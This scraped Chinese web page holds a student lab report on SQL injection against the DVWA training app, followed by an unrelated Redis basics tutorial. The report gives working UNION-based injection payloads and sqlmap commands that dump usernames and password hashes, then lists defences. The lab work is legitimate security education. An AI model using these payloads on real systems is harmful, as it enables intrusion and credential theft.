Web漏洞分析(dvwa、SQL手工注入、sqlmap注入) |
您所在的位置:网站首页 › redis基本语法 › Web漏洞分析(dvwa、SQL手工注入、sqlmap注入) |
目录 一、实验目的 二、实验软硬件要求 三、实验预习 四、实验内容(实验步骤、测试数据等) 五、实验步骤 (1) 下载并安装配置DVWA (2)运行DVWA,创建数据库。 (3) 登录DVWA (4) 按教材操作流程完成SQ注入分析,验证不同安全级别情况下sql注入的风险,并就实现结果提出安全应对建议。 设置低级防护:根本没有安全措施 1.判断是否存在注入 2.猜解SQL查询语句中的字段数及字段顺序 3.获取当前数据名 4.获取数据库的表名 5.获取表中的字段名 6.获取user及password 7.尝试破解口令 设置中等级防护:发人员试图保护应用程序但失败 1)判断是否存在注入,是字符还是数字 2)猜测SQL查询语句中的字段数 3)获取当前数据名 4)获取数据库的表名 5)获取表中的字段名 6)获取user及password 设置高级防护:对中等难度的扩展,混合了更难或替代性的错误做法来尝试保护代码。该漏洞可能不允许进行相同程度的攻击,类似于各种CTF比赛。 设置不可能级防护:此级别应针对所有漏洞进行安全保护。它用于将易受攻击的源代码与安全源代码进行比较。 sqlmap注入 爆破数据库 爆破dvwa的表 爆破dvwa的guestbook的字段 爆破密码 前情提要 原本实验没有要求sqlmap等操作,听说是做到low等级就好,自行辨别。 一、实验目的 借助Web漏洞教学和演练的开源工具DVWA,学习并了解Web漏洞(以SQL注入为例)的原理及利用,验证SQL注入漏洞的实现过程及结果,并思考应对web漏洞风险的策略与手段。 二、实验软硬件要求 1、操作系统:windows 7/8/10等 2、开发环境:DVWA 三、实验预习 《软件安全技术》教材第4章 四、实验内容(实验步骤、测试数据等) 目标:案例4-2。 实验说明:借助Web漏洞教学和演练的开源工具DVWA,验证SQL注入漏洞的实现过程及结果 步骤: 判断是否存在注入 猜解SQL查询语句中的字段数及字段顺序 获取当前数据名 获取数据库的表名 获取表中的字段名 获取user及password 尝试破解口令(5)完成实验报告 要求:提供实验步骤说明及相应截图,完成实验报告。五、实验步骤 (1) 下载并安装配置DVWA书上安装XAMPP,但我不打算安装,我用phpstudy进行 安装phpstudy ![]() 启动Apache ![]() 浏览器输入http://localhost/ ![]() 下载DVWA,将DVWA文件夹放在WWW文件夹下 ![]() 打开phpstudy,创建域名 ![]() ![]() 修改配置文件config.inc.php,如果没有就复制一份config.inc.php.dist ![]() ![]() 修改password为root(书上为空密码),user改为root (2)运行DVWA,创建数据库。打开首页http://dvwa(或者直接dvwa), ![]() 拉到最下方,点击create/reset database初始化数据库 ![]() ![]() 输入admin,password ![]() ![]() 源代码: ![]() 输入1 ![]() 输入1’and’1’=’2 ![]() 输入1’or’1’=’1 ![]() 输入1′ or 1=1 order by 1 # ![]() 输入1′ or 1=1 union select 1,2,3,4,5,6,7,8# ![]() 判断只有两个字段 输入1′ or 1=1 order by 3# ![]() 核实只有两字段 输入’ union select 1,2# ![]() 输入’union select user(),database() # ![]() 输入’ union select 1, group_concat(table_name) from information_schema.tables where table_schema=database()# 有时候会出现这个字符集不兼容的问题,DVWA问题 ![]() 在sql语句from前添加COLLATE utf8_general_ci即可 输入1′ union select 1,group_concat(table_name) COLLATE utf8_general_ci from information_schema.tables where table_schema=database()# ![]() 输入’ union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’ # 输入1′ union select 1,group_concat(column_name) COLLATE utf8_general_ci from information_schema.columns where table_name=’users’# ![]() 输入’ union select user,password from users# ![]() 口令是32位,数据库常用加密md5,盲猜md5 5f4dcc3b5aa765d61d8327deb882cf99 ![]() 源代码: ![]() 它的用户界面变成了一个选项,阻止了一些注入。 [En]Its user interface becomes an option, blocking some injections. ![]() 在提交id的过程中,发现页面刷新很快,上交的携带参数url无法肉眼捕捉,可以利用bp来搞。 上号bp 1)判断是否存在注入,是字符还是数字首先尝试抓包、拦截、更改参数,以及上传一条流是否能成功。 [En]First try to grab the packet, intercept, change the parameters, and whether the upload of a stream can be successful. ![]() ![]() 进行尝试注入1′ or 1=1 # ![]() 看到回应报文 ![]() 更改注入1 or 1=1 # ![]() 回应报文,成功 ![]() 更改参数为1 order by 2#,成功 ![]() 更改参数为1 order by 3#,失败 ![]() 只有两个字段 3)获取当前数据名更改参数1 union select user(),database() # ![]() 更改参数1 union select 1,group_concat(table_name) COLLATE utf8_general_ci from information_schema.tables where table_schema=database()# ![]() 更改参数1 union select 1,group_concat(column_name) COLLATE utf8_general_ci from information_schema.columns where table_name=’users’# ![]() 但这个注入又很奇怪 6)获取user及password更改参数1 union select user,password from users# ![]() 源代码: ![]() 与medium级别代码相比,high级别的只是在SQL查询语句中增加limit 1,希望以此控制只输出一个结果。 虽然增加limit 1,但是可以通过#将其注释掉。 手工注入的过程与low级别基本一样,直接最后一部演示下载数据 输入’ union select group_concat(user_id,first_name,last_name),group_concat(password) from user # ![]() 源代码: ![]() impossible级别的代码采用了PDO技术,划清了代码与数据的界限,能有效防御sql注入,同时查询返回结果数量为1时,才会成功输出,这样有效预防了脱裤。 sqlmap注入此外,我进行了sqlmap注入,这比手工快多了。但要注意命令格式 sqlmap.py -u “http://192.168.141.136/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” –cookie=”security=low; PHPSESSID=u26qutkcu5ak4p0icnii8rppo1″ -dbms mysql -dbs dvwa靶场有外部登入,所以需要加上cookie,cookie在php info里面查找 ![]() ![]() ![]() sqlmap.py -u “http://192.168.141.136/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” –cookie=”security=low; PHPSESSID=u26qutkcu5ak4p0icnii8rppo1″ -dbms mysql -D dvwa –tables ![]() sqlmap.py -u “http://192.168.141.136/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” –cookie=”security=low; PHPSESSID=u26qutkcu5ak4p0icnii8rppo1″ -D “dvwa” -T “users” –columns ![]() sqlmap.py -u “http://192.168.141.136/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” –cookie=”security=low; PHPSESSID=u26qutkcu5ak4p0icnii8rppo1″ -D “dvwa” -T “users” -C “user,password” –dump ![]() 六、实验体会(遇到的问题及解决方法) 麻烦,文档不能完整上传,图片要单贴。 实验步骤有进行略微跳步,但跳的都是简单操作,如果不懂了话,需要去补充一些相关内容。 SQL注入防护手段: 参数类型检测 参数长度检测 危险参数过滤 黑名单过滤 白名单过滤 GPC过滤(PHP.in配置中,magic_quotes_qpc=on,可以自动对输入语句转义) 参数化查询 服务器对网站的权限最小化Original: https://blog.csdn.net/m0_58138734/article/details/127739487Author: 王陈锋Title: Web漏洞分析(dvwa、SQL手工注入、sqlmap注入) 相关阅读 Title: Redis:Redis的简单使用目录: (1)Redis的细节使用 启动、关闭、启动客户端 (2)Redis的基本知识1 测试性能、查看转态、服务器的统计信息 (3)Redis基本知识2 数据库实例 (4)Redis基本知识3 查看key、清空库 (1)Redis的细节使用 ![]() 启动方式:(1)前台启动:redis-server:启动完之后,会占整个控制台会占命令行终端,不能做别的事情,命令行一旦关了,它的服务也就关了,实际开发过程中很少使用这种方式 (2)后台启动:redis-server & 控制台不会占整个命令行终端,即是命令行关掉了,后台服务该怎么启动就怎么启动 (3)启动服务时,指定配置文件:redis-server redis-conf & 如果修改了配置文件,需要在启动时,指定配置文件 关闭方式: 通过kill命令,不建议这种方式,容易数据丢失ps -ef | grep redis查看pidkill -9 pid2. 通过redis-cli 命令关闭redis-cli shutdown 启动:redis-server & ![]() 进行查看:ps -ef|grep redis:发现有6379这个redis ![]() 关闭Redis:redis-cli shutdown ![]() 进行查看:ps -ef|grep redis:没有了端口号6379的redis ![]() Redis服务端装好之后,不能直接使用,你要想使用,必须通过客户端去连他,通过客户端输入一些命令通过网络传给他,服务端来执行这些命令,来对这些数据进行完成增删改查,并把增删改查的结果返回给客户端 例如:MySql: 1、mysql命令连接数据库格式: mysql -h 主机地址 -P 端口号 -u用户名 -p用户密码2、MySQL连接本地数据库,用户名为”root”,密码”123″ mysql -h localhost -u root -p123mysql基于命令行的比较麻烦,我们嫌不方便,于是出现了可视化工具Navica客户端第三方开发的客户端,这种客户端也可以连接Mysql服务端,向后台Mysql发送一些命令,服务端可以把结果返回给客户端,这种可视化界面给我们带来极大方便。 Redis客户端Redis客户端是一个程序,通过网络连接到Redis服务器,从而实现跟 Redis服务器的交互。Redis客户端发送命令,同时显示Redis服务器的处理结果。redis-cli(Redis Command Line Interface)是Redis自带的基于命令行的Redis客户端,用于与服务端交互,我们可以使用该客户端来执行redis的各种命令。 ![]() 启动Redis客户端: 1)直接连接redis (默认ip127.0.0.1,端口6379):redis-cli 在任意目录执行 redis-cli 此命令是连接本机127.0.0.1 ,端口6379的redis ![]() 可以指定端口号: ![]() 2)指定IP和端口连接redis:redis-cli –h 127.0.0.1 -p 6379 -h redis主机IP(可以指定任意的redis服务器) -p端口号(不同的端口表示不同的redis应用) 在任意目录下执行 redis-cli -h 127.0.0.1 -p 6379 ![]() ![]() (2)Redis的基本知识1 ![]() ![]() ![]() 2.Redis沟通命令,查看状态 redis >ping 返回PONG 解释:输入ping,redis给我们返回PONG,表示redis服务运行正常 ![]() 3.查看redis服务器的统计信息:info 语法:info [section] 作用:以一种易于解释且易于阅读的格式,返回关于 Redis 服务器的各种信息和统计数值。section 用来返回指定部分的统计信息。 section的值:server , clients ,memory等等。 不加section 返回全部统计信息 返回值:指定section的统计信息或全部信息 例1 :统计server 的信息 ![]() 例2 :统计全部信息 ![]() (3)Redis基本知识2 ![]() MySQL中的数据库实例,可以根据开发人员自己创建,自己可以创建,自己可以命名,自己可以维护 Redis的数据库实例,只能由Redis自己创建去维护,程序员想用的话,不能自己创建只用用创建号好的 redis默认使用16个库Redis默认使用16个库,从0到15。 对数据库个数的修改,在redis.conf文件中databases 16,理论上可以配置无限多个。 ![]() Redis的库和关系型数据库中的数据库实例类似,但又有一些不同,比如redis中各个库不能自定义命名,只能用序号表示,redis中各个库不是完全独立的,使用时最好一个应用使用一个redis实例,不建议一个redis实例中保存多个应用的数据。Redis实例本身所占存储空间其实是非常小的,因此不会造成存储空间的浪费。 例如:用set 命令存一个数据,默认情况下客户端连的是0号实例 ![]() 2.切换库命令:select db 默认使用第0个,如果要使用其他数据库,命令是 select index ![]() (4)Redis的基本知识3 1.查看当前数据库中key的数目:dbsize 语法:dbsize 作用:返回当前数据库的 key 的数量。 返回值:数字,key的数量 ![]() 刚才存放一条数据,为什么是2呢? :0号比较特殊,里面默认放了几条数据了 ![]() 2.查看当前数据库中有哪些key:keys * ![]() ![]() 3.清空当前库:flushdb ![]() 4.清空所有数据库:flushall 清空所有的数据库实例 ![]() 这也体现出redis中的库并不是完全无关的。 ![]() 4.config get * 获得redis的所有配置值 语法:config get parameter 作用:获取运行中Redis服务器的配置参数, 获取全部配置可以使用*。参数信息来自redis.conf 文件的内容。 例1:获取数据库个数 config get databases ![]() 例2:获取端口号config get port ![]() Original: https://blog.csdn.net/dengfengling999/article/details/125577645Author: dengfengling999Title: Redis:Redis的简单使用 原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/396091/ 转载文章受原作者版权保护。转载请注明原作者出处! |
CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3 |